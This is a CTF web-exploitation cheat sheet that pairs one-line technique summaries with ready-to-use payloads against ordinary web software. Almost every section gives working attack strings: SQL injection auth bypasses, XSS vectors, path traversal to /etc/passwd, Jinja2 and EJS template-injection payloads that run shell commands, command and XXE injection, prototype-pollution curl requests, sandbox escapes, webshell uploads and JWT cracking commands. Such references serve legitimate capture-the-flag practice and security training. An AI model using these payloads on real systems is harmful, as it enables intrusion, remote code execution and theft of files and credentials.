CTF Web Exploitation
Quick reference for web CTF challenges. Each technique has a one-liner here; see supporting files for full details with payloads and code.
Additional Resources
- server-side.md - Server-side attacks: SQLi, SSTI, SSRF, XXE, command injection, code injection (Ruby/Perl/Python), ReDoS, file write→RCE, eval bypass, ExifTool CVE, Go rune/byte mismatch, zip symlink
- client-side.md - Client-side attacks: XSS, CSRF, CSPT, cache poisoning, DOM tricks, React input filling, hidden elements
- auth-and-access.md - Auth/authz attacks: JWT, session, password inference, weak validation, client-side gates, NoSQL auth bypass
- node-and-prototype.md - Node.js: prototype pollution, VM sandbox escape, Happy-DOM chain, flatnest CVE, Lodash+Pug AST injection
- web3.md - Blockchain/Web3: Solidity exploits, proxy patterns, ABI encoding tricks, Foundry tooling
- cves.md - CVE-specific exploits: Next.js middleware bypass, curl credential leak, Uvicorn CRLF, urllib scheme bypass, ExifTool DjVu, broken auth, AAEncode/JJEncode, protocol multiplexing
Reconnaissance
- View source for HTML comments, check JS/CSS files for internal APIs
- Look for
.mapsource map files - Check response headers for custom X- headers and auth hints
- Common paths:
/robots.txt,/sitemap.xml,/.well-known/,/admin,/api,/debug,/.git/,/.env - Search JS bundles:
grep -oE '"/api/[^"]+"'for hidden endpoints - Check for client-side validation that can be bypassed
- Compare what the UI sends vs. what the API accepts (read JS bundle for all fields)
SQL Injection Quick Reference
Detection: Send ' — syntax error indicates SQLi
' OR '1'='1 # Classic auth bypass
' OR 1=1-- # Comment termination
username=\&password= OR 1=1-- # Backslash escape quote bypass
' UNION SELECT sql,2,3 FROM sqlite_master-- # SQLite schema
0x6d656f77 # Hex encoding for 'meow' (bypass quotes)
See server-side.md for second-order SQLi, LIKE brute-force, SQLi→SSTI chains.
XSS Quick Reference
<script>alert(1)</script>
<img src=x
<svg
Filter bypass: hex \x3cscript\x3e, entities <script>, case mixing <ScRiPt>, event handlers.
See client-side.md for DOMPurify bypass, cache poisoning, CSPT, React input tricks.
Path Traversal / LFI Quick Reference
../../../etc/passwd
....//....//....//etc/passwd # Filter bypass
..%2f..%2f..%2fetc/passwd # URL encoding
%252e%252e%252f # Double URL encoding
{.}{.}/flag.txt # Brace stripping bypass
Python footgun: os.path.join('/app/public', '/etc/passwd') returns /etc/passwd
JWT Quick Reference
alg: none— remove signature entirely- Algorithm confusion (RS256→HS256) — sign with public key
- Weak secret — brute force with hashcat/flask-unsign
- Key exposure — check
/api/getPublicKey,.env,/debug/config - Balance replay — save JWT, spend, replay old JWT, return items for profit
See auth-and-access.md for full JWT attacks and session manipulation.
SSTI Quick Reference
Detection: {{7*7}} returns 49
# Jinja2 RCE
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Go template
{{.ReadFile "/flag.txt"}}
# EJS
<%- global.process.mainModule.require('child_process').execSync('id') %>
SSRF Quick Reference
127.0.0.1, localhost, 127.1, 0.0.0.0, [::1]
127.0.0.1.nip.io, 2130706433, 0x7f000001
DNS rebinding for TOCTOU: https://lock.cmpxchg8b.com/rebinder.html
Command Injection Quick Reference
; id | id `id` $(id)
%0aid # Newline 127.0.0.1%0acat /flag
When cat/head blocked: sed -n p flag.txt, awk '{print}', tac flag.txt
XXE Quick Reference
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
PHP filter: <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
Code Injection Quick Reference
Ruby instance_eval: Break string + comment: VALID');INJECTED_CODE#
Perl open(): 2-arg open allows pipe: |command|
JS eval blocklist bypass: row['con'+'structor']['con'+'structor']('return this')()
PHP deserialization: Craft serialized object in cookie → LFI/RCE
See server-side.md for full payloads and bypass techniques.
Node.js Quick Reference
Prototype pollution: {"__proto__": {"isAdmin": true}} or flatnest circular ref bypass
VM escape: this.constructor.constructor("return process")() → RCE
Full chain: pollution → enable JS eval in Happy-DOM → VM escape → RCE
Prototype pollution permission bypass (Server OC, Pragyan 2026):
# When Express.js endpoint checks req.body.isAdmin or similar:
curl -X POST -H 'Content-Type: application/json' \
-d '{"Path":"value","__proto__":{"isAdmin":true}}' \
'https://target/endpoint'
# __proto__ pollutes Object.prototype, making isAdmin truthy on all objects
Key insight: Always try __proto__ injection on JSON endpoints, even when the vulnerability seems like something else (race condition, SSRF, etc.).
See node-and-prototype.md for detailed exploitation.
Auth & Access Control Quick Reference
- Cookie manipulation:
role=admin,isAdmin=true - Public admin-login cookie seeding: check if
/admin/loginsets reusable admin session cookie - Host header bypass:
Host: 127.0.0.1 - Hidden endpoints: search JS bundles for
/api/internal/,/api/admin/; fuzz with auth cookie for non-/apiroutes like/internal/* - Client-side gates:
window.overrideAccess = trueor call API directly - Password inference: profile data + structured ID format → brute-force
- Weak signature: check if only first N chars of hash are validated
See auth-and-access.md for full patterns.
File Upload → RCE
.htaccessupload:AddType application/x-httpd-php .lol+ webshell- Gogs symlink: overwrite
.git/configwithcore.sshCommandRCE - Python
.sohijack: write malicious shared object + delete.pycto force reimport - ZipSlip: symlink in zip for file read, path traversal for file write
- Log poisoning: PHP payload in User-Agent + path traversal to include log
See server-side.md for detailed steps.
Multi-Stage Chain Patterns
0xClinic chain: Password inference → path traversal + ReDoS oracle (leak secrets from /proc/1/environ) → CRLF injection (CSP bypass + cache poisoning + XSS) → urllib scheme bypass (SSRF) → .so write via path traversal → RCE
Key chaining insights:
- Path traversal + any file-reading primitive → leak
/proc/*/environ,/proc/*/cmdline - CRLF in headers → CSP bypass + cache poisoning + XSS in one shot
- Arbitrary file write in Python →
.sohijacking or.pycoverwrite for RCE - Lowercased response body → use hex escapes (
\x3cfor<)
Useful Tools
sqlmap -u "http://target/?id=1" --dbs # SQLi
ffuf -u http://target/FUZZ -w wordlist.txt # Directory fuzzing
flask-unsign --decode --cookie "eyJ..." # JWT decode
hashcat -m 16500 jwt.txt wordlist.txt # JWT crack
dalfox url http://target/?q=test # XSS
Flask/Werkzeug Debug Mode
Weak session secret brute-force + forge admin session + Werkzeug debugger PIN RCE. See server-side.md for full attack chain.
XXE with External DTD Filter Bypass
Host malicious DTD externally to bypass upload keyword filters. See server-side.md for payload and webhook.site setup.
JSFuck Decoding
Remove trailing ()(), eval in Node.js, .toString() reveals original code. See client-side.md.
Shadow DOM XSS
Proxy attachShadow to capture closed roots; (0,eval) for scope escape; </script> injection. See client-side.md.
DOM Clobbering + MIME Mismatch
.jpg served as text/html; <form id="config"> clobbers JS globals. See client-side.md.
HTTP Request Smuggling via Cache Proxy
Cache proxy desync for cookie theft via incomplete POST body. See client-side.md.
Path Traversal: URL-Encoded Slash Bypass
%2f bypasses nginx route matching but filesystem resolves it. See server-side.md.
WeasyPrint SSRF & File Read (CVE-2024-28184)
<a rel="attachment" href="file:///flag.txt"> or <link rel="attachment" href="http://127.0.0.1/admin"> -- WeasyPrint embeds fetched content as PDF attachments, bypassing header checks. Boolean oracle via /Type /EmbeddedFile presence. See server-side.md and cves.md.
MongoDB Regex / $where Blind Injection
Break out of /.../i with a^/)||(<condition>)&&(/a^. Binary search charCodeAt() for extraction. See server-side.md.
Pongo2 / Go Template Injection
{% include "/flag.txt" %} in uploaded file + path traversal in template parameter. See server-side.md.
ZIP Upload with PHP Webshell
Upload ZIP containing .php file → extract to web-accessible dir → file_get_contents('/flag.txt'). See server-side.md.
basename() Bypass for Hidden Files
basename() only strips dirs, doesn't filter .lock or hidden files in same directory. See server-side.md.
Custom Linear MAC Forgery
Linear XOR-based signing with secret blocks → recover from known pairs → forge for target. See auth-and-access.md.
CSS/JS Paywall Bypass
Content behind CSS overlay (position: fixed; z-index: 99999) is still in the raw HTML. curl or view-source bypasses it instantly. See client-side.md.
Common Flag Locations
/flag.txt, /flag, /app/flag.txt, /home/*/flag*
Environment variables: /proc/self/environ
Database: flag, flags, secret tables
Response headers: x-flag, x-archive-tag, x-proof
Hidden DOM: display:none elements, data attributes